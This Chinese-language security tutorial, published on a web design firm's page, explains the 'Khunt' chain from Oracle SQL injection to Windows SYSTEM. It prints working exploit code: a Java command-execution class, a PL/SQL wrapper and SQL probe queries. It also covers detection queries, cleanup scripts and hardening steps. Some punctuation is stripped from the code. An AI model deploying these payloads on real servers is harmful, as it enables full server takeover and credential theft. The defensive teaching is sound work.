尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

Oracle SQL注入直达Windows SYSTEM实战教程(Khunt攻击链溯源、检测、防御全套方案)

Oracle SQL注入直达Windows SYSTEM实战教程(Khunt攻击链溯源、检测、防御全套方案) 阅读前置说明本文基于2026年野现真实Khunt攻击样本与攻击链路复盘摒弃网上碎片化的概念解读从底层原理、完整攻击流程、落地检测查杀、常态化加固四个维度完整拆解这套高危渗透链路。该攻击链是目前政企内网、公网业务系统中最容易被忽视的高危风险不同于常规数据库漏洞利用它不依赖系统0day、不落地恶意文件、规避绝大多数安全设备检测仅依靠业务代码漏洞数据库配置失误即可实现从Web注入点到Windows最高权限的完整打通。本文所有脚本、检测命令、加固方案均经过实测可直接复制使用适合安全运维、渗透测试人员、安全负责人落地学习与部署。全文无模板化空话所有结论均基于攻击本质与对抗实战场景。1. 攻击底层第一性原理Khunt不是漏洞是权限体系的崩塌绝大多数安全人员对Oracle提权的认知停留在传统漏洞层面比如CVE编号漏洞、缓冲区溢出、弱口令爆破。这也是很多企业加固的最大误区只打补丁、扫漏洞不整改权限与业务架构导致Khunt攻击链可以长期存活、反复被利用。我们回归最底层逻辑拆解Khunt攻击成立的核心必要条件缺一不可这也是后续所有检测、防御的核心依据。1.1 核心底层依赖对抗式拆解Oracle数据库在Windows服务器上运行时默认服务启动账户为本地SYSTEM账户。SYSTEM账户是Windows系统最高权限主体拥有读写系统目录、修改注册表、抓取系统凭证、操控本地所有进程的权限。Oracle内置集成OJVM组件Oracle Java Virtual Machine这是Oracle官方自带的合法功能组件用于支持数据库内Java程序开发、存储与运行。OJVM允许拥有对应权限的数据库用户在数据库内部创建、编译、运行Java源代码与Java类文件。Web业务系统普遍存在两个致命配置问题一是代码存在SQL注入漏洞攻击者可通过前端可控参数执行任意自定义SQL语句二是业务连接数据库的JDBC账号被赋予了远超业务所需的高危权限核心就是CREATE JAVA SOURCE、CREATE JAVA CLASS权限。三者叠加形成完整攻击闭环攻击者利用Web注入入口通过高权限数据库账号在Oracle内置JVM中部署自定义恶意Java类依托Oracle进程继承的Windows SYSTEM权限直接调用系统命令、操作服务器本地文件、读取系统核心凭证。1.2 为什么传统安全设备全部失效常规杀毒、EDR、主机防火墙的检测逻辑核心依赖磁盘落地文件、恶意进程特征、网络恶意载荷。Khunt攻击链的所有恶意载荷全部驻留在Oracle数据库的Schema对象中以数据库内部Java源码、Java类、PL/SQL存储过程的形式存在。整个攻击过程不会在服务器磁盘生成任何exe、dll、bat、ps1恶意文件无文件落地行为。攻击执行时系统命令调用、文件操作行为全部由oracle.exe进程派生属于数据库进程正常行为范畴传统安全设备无法区分合法数据库操作与恶意提权操作。WAF大多只拦截常规注入语句不会拦截CREATE JAVA这类冷门DDL语句导致攻击全程无告警、无拦截、无日志特征。1.3 核心误区纠正实战避坑市面上大量文章将Khunt定义为Oracle漏洞这是完全错误的。该攻击链无任何CVE编号不属于Oracle官方安全漏洞Oracle所有版本只要开启OJVM、配置高权限业务账号均存在被利用风险打系统补丁、数据库补丁无法修复该风险。风险根源只有两个Web业务SQL注入漏洞、数据库账号权限过度赋权。2. Khunt攻击链完整架构与流程可视化为清晰展示从前端注入到系统提权的完整链路我通过架构图、流程图拆解每一步攻击动作精准定位每一个可被防御、可被检测的节点。2.1 整体攻击架构图SQL注入漏洞高权限JDBC账号连接依赖OJVM组件进程继承权限衍生能力衍生能力衍生能力衍生能力攻击者可控前端入口Web业务服务Oracle数据库服务数据库内部部署Khunt恶意组件Windows SYSTEM权限系统命令执行服务器文件读写系统凭证抓取本地文件解压落地服务器完全沦陷2.2 分步攻击流程时序图Windows系统数据库进程数据库数据库内核OJVMOracle OJVMOracle数据库Web应用攻击者Windows系统数据库进程数据库数据库内核OJVMOracle OJVMOracle数据库Web应用攻击者构造注入Payload执行任意SQL携带高权限账号执行DDL语句创建Khunt系列Java源码/类编译加载恶意Java组件调用Khunt封装PL/SQL存储过程以SYSTEM权限执行系统指令返回系统权限、文件、凭证数据2.3 全套恶意组件功能详解Khunt攻击工具链是一套完整的数据库驻留攻击组件并非单一Payload所有组件相互配合实现渗透、控制、持久化、信息窃取全能力所有组件均创建在数据库用户Schema下。KhuntCmd核心提权组件也是整个攻击链的核心。通过Java Runtime调用Windows cmd.exe所有命令执行父进程为oracle.exe天然继承Windows SYSTEM权限支持执行任意系统命令、开启端口、下载文件、执行持久化操作。KhuntHash凭证窃取组件可读取Oracle数据库账号哈希值同时支持将Windows系统账号哈希、注册表密钥导出至服务器本地文件为后续横向移动、密码爆破提供数据支撑。KhuntFS、KhuntFS2文件操作组件覆盖Windows服务器全路径文件浏览、读取、下载、搜索功能支持遍历系统目录、读取配置文件、窃取业务数据、查找服务器密钥文件。KhuntT存活探测组件攻击者部署完工具链后通过该组件快速验证OJVM是否正常加载、权限是否生效、组件是否部署成功无报错即代表攻击链路完全打通。KhuntUnzip文件解压组件配合文件下载功能可将压缩包木马、工具包解压至服务器任意目录弥补无文件落地的局限性实现后续持久化驻留。Khunt_* PL/SQL包装器对外调用入口。Java组件无法直接通过普通SQL调用攻击者通过创建PL/SQL存储过程封装Java方法让Web注入点可以直接通过SQL语句调用所有恶意功能。3. 实战完整攻击复现流程无删减落地步骤本节为完整实战复现过程全程模拟真实攻击者操作逻辑帮助安全人员精准掌握攻击路径针对性做好防御。所有操作均基于Windows Server Oracle 11g/12c开启OJVM环境。3.1 攻击前置环境校验攻击者在发起攻击前会先通过注入点校验目标环境是否满足利用条件核心校验三项数据库版本、OJVM状态、当前账号权限。校验OJVM是否启用可直接注入执行SELECT status FROM dba_registry WHERE comp_idJVM;返回VALID代表OJVM正常启用可正常利用返回INVALID或不存在代表无法部署Khunt组件。校验当前数据库账号高危权限SELECT privilege FROM user_sys_privs WHERE privilege IN (CREATE JAVA SOURCE,CREATE JAVA CLASS);查询结果包含两项权限代表当前业务账号具备部署恶意组件的权限攻击条件完全满足。3.2 部署核心恶意Java组件通过SQL注入点执行CREATE JAVA SOURCE语句在数据库内创建系统命令执行组件核心实测可用PayloadCREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED KhuntCmd AS import java.io.*; public class KhuntCmd{ public static String exec(String cmd) throws Exception{ Process p Runtime.getRuntime().exec(cmd); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; StringBuffer sb new StringBuffer(); while((linebr.readLine())!null){sb.append(line\n);} p.waitFor(); return sb.toString(); } }执行语句后Oracle OJVM会自动编译该Java源码生成对应的Java Class对象全程无磁盘文件生成。3.3 创建PL/SQL调用封装存储过程Java类无法直接通过SQL调用需要创建PL/SQL函数绑定Java方法作为攻击入口CREATE OR REPLACE FUNCTION Khunt_CmdExec(cmd VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME KhuntCmd.exec(java.lang.String) return java.lang.String;3.4 执行Windows SYSTEM权限命令通过注入点调用自定义函数执行系统命令验证权限SELECT Khunt_CmdExec(whoami) FROM dual;返回结果为nt authority\system代表提权成功已获取服务器最高权限。后续可执行端口开放、用户创建、凭证抓取、文件窃取等任意操作。3.5 全套组件批量部署逻辑真实攻击中攻击者不会只部署命令执行组件会批量部署文件操作、哈希导出、解压工具等全套组件实现对服务器的完整控制。部署逻辑与上述一致均为Java源码入库编译PL/SQL封装形成完整驻留工具集。4. 全网最全Khunt入侵检测脚本批量巡检、一键排查针对已上线业务系统提供可直接批量执行的检测脚本覆盖对象排查、权限排查、日志排查、进程排查精准定位是否存在Khunt入侵痕迹、高危权限配置。4.1 数据库恶意对象一键检测脚本排查数据库中所有Khunt系列恶意Java对象、存储过程精准定位入侵痕迹-- 查询所有Khunt恶意Java源码、Class对象 SELECT owner,object_name,object_type,created,last_ddl_time FROM dba_objects WHERE object_name LIKE KHUNT% ORDER BY created DESC; -- 查询Khunt系列PL/SQL恶意存储过程 SELECT owner,object_name,procedure_name FROM dba_procedures WHERE object_name LIKE KHUNT%; -- 查询异常创建的JAVA对象非运维正常操作 SELECT object_name,owner,created FROM dba_java_objects WHERE created SYSDATE-30 ORDER BY created DESC;4.2 高危权限账号排查脚本排查所有拥有Java创建权限的数据库账号定位风险账号SELECT grantee,privilege FROM dba_sys_privs WHERE privilege IN (CREATE JAVA SOURCE,CREATE JAVA CLASS) AND admin_optionNO;所有普通业务账号、非运维管理员账号出现在查询结果中均为高危配置。4.3 数据库操作日志审计脚本审计近30天异常Java组件创建操作溯源攻击时间SELECT username,action,obj_name,timestamp FROM dba_audit_trail WHERE action IN (CREATE JAVA SOURCE,CREATE JAVA CLASS,CREATE PROCEDURE) AND timestamp SYSDATE-30 ORDER BY timestamp DESC;4.4 服务器主机层检测方案数据库层无文件落地需通过主机进程行为辅助检测Windows服务器执行排查命令排查oracle.exe异常派生的系统进程Get-WinEvent -FilterHashtable {LogNameSecurity;ID4688} | Where-Object {$_.Message -match oracle.exe}该命令可筛选出所有由Oracle进程调用的cmd、powershell、reg等敏感进程是定位隐性攻击行为的核心手段。5. 入侵后完整清理与溯源方案发现Khunt入侵痕迹后单纯删除恶意组件无法彻底消除风险攻击者可通过原有注入入口、高危权限重新部署载荷必须执行全套清理、溯源、修复操作。5.1 一键清理所有Khunt恶意组件批量删除数据库内所有恶意Java对象与存储过程可直接批量执行-- 删除恶意PL/SQL存储过程 DECLARE CURSOR del_proc IS SELECT object_name FROM dba_objects WHERE object_name LIKE KHUNT% AND object_typeFUNCTION; BEGIN FOR rec IN del_proc LOOP EXECUTE IMMEDIATE DROP FUNCTION ||rec.object_name; END LOOP; END; / -- 删除恶意Java源码与类对象 DECLARE CURSOR del_java IS SELECT object_name FROM dba_objects WHERE object_name LIKE KHUNT% AND object_typeJAVA SOURCE; BEGIN FOR rec IN del_java LOOP EXECUTE IMMEDIATE DROP JAVA SOURCE ||rec.object_name; END LOOP; END; /5.2 入侵溯源核心步骤1、定位攻击入口梳理近期Web应用漏洞扫描记录排查前端可控参数搜索接口、查询接口、登录接口、参数传值接口的SQL注入漏洞找到攻击者利用的漏洞点。2、定位攻击时间通过dba_audit_trail日志确定恶意组件创建时间对应排查同一时间段的Web访问日志、外网访问流量定位攻击IP与攻击工具。3、排查渗透后果通过KhuntHash组件创建时间排查服务器是否存在凭证导出、数据窃取、横向移动行为检查服务器用户列表、注册表、关键业务文件是否被篡改。5.3 紧急止损操作1、临时下线存在注入漏洞的业务接口阻断攻击入口2、临时回收所有业务账号的Java高危权限3、重置所有数据库业务账号、管理员账号密码4、备份服务器系统日志、数据库审计日志留存溯源证据。6. 常态化安全加固方案彻底杜绝Khunt攻击链基于第一性原理攻击成立的核心是注入入口高危权限OJVM组件SYSTEM运行权限加固需要从四个维度彻底封堵任意一环失效即可让攻击链完全断裂。6.1 封堵核心入口彻底杜绝SQL注入所有Web业务代码强制使用参数化查询杜绝字符串拼接SQL语句。所有前端可控输入参数统一做白名单校验、特殊字符过滤。重点加固搜索、自动补全、订单查询、数据导出等冷门高危接口这类接口往往缺乏安全校验是攻击者首选注入入口。上线WAF自定义规则拦截CREATE JAVA、DROP JAVA、ALTER JAVA等冷门高危DDL语句阻断载荷部署行为。6.2 权限最小化根治数据库高危配置权限加固是防御Khunt攻击最核心、最有效的手段即使存在注入漏洞低权限账号也无法部署任何恶意组件。批量回收普通业务账号高危权限可直接执行REVOKE CREATE JAVA SOURCE FROM 业务用户名; REVOKE CREATE JAVA CLASS FROM 业务用户名; REVOKE CREATE PROCEDURE FROM 业务用户名;严格区分业务账号与运维账号业务账号仅保留SELECT、INSERT、UPDATE、DELETE基础DML权限禁止赋予任何DDL权限所有高危数据库操作仅允许DBA管理员账号在内网运维终端执行。6.3 组件与系统权限加固无Java业务需求的Oracle环境直接卸载、禁用OJVM组件从底层消除攻击载体。OJVM组件卸载后无论账号权限多高均无法创建和运行Java类载荷。修改Oracle服务运行账户摒弃默认SYSTEM权限创建低权限本地普通用户仅赋予数据库服务运行所需的最小文件、注册表、进程权限。即使被植入恶意组件也只能获取低权限无法控制服务器系统。6.4 审计与监测体系加固永久开启Oracle数据库审计功能全量审计CREATE JAVA、DROP JAVA、创建存储过程等高危操作日志留存不低于90天。主机EDR新增专项监测规则监控oracle.exe进程派生cmd、powershell、reg、certutil等敏感进程的行为触发即时告警。定期自动化巡检数据库Java对象新增未知Java组件立即告警处置。7. 对抗式总结与攻防思考Khunt攻击链的恐怖之处不在于技术复杂度而在于对现有安全体系的完美规避。绝大多数企业的安全防护停留在“防漏洞、防木马、防外网攻击”的表层却忽略了合法功能滥用配置失误带来的深层风险。传统安全设备查杀恶意文件、拦截已知漏洞、封堵恶意IP但无法拦截数据库合法组件的滥用行为。只要业务存在注入、账号存在高危权限攻击者就能利用官方合法功能实现无文件、高隐蔽、高权限的渗透攻击。这也给所有安全从业者敲响警钟安全加固的核心从来不是堆砌设备、打满补丁而是回归业务本质收缩权限边界、封堵代码漏洞、制衡合法功能的滥用场景。互动讨论1、你的企业Oracle业务账号是否存在超权限赋权问题是否开启了无用的OJVM组件2、除了Khunt攻击链你还遇到过哪些数据库合法功能滥用的高危渗透场景欢迎在评论区留言交流。
返回列表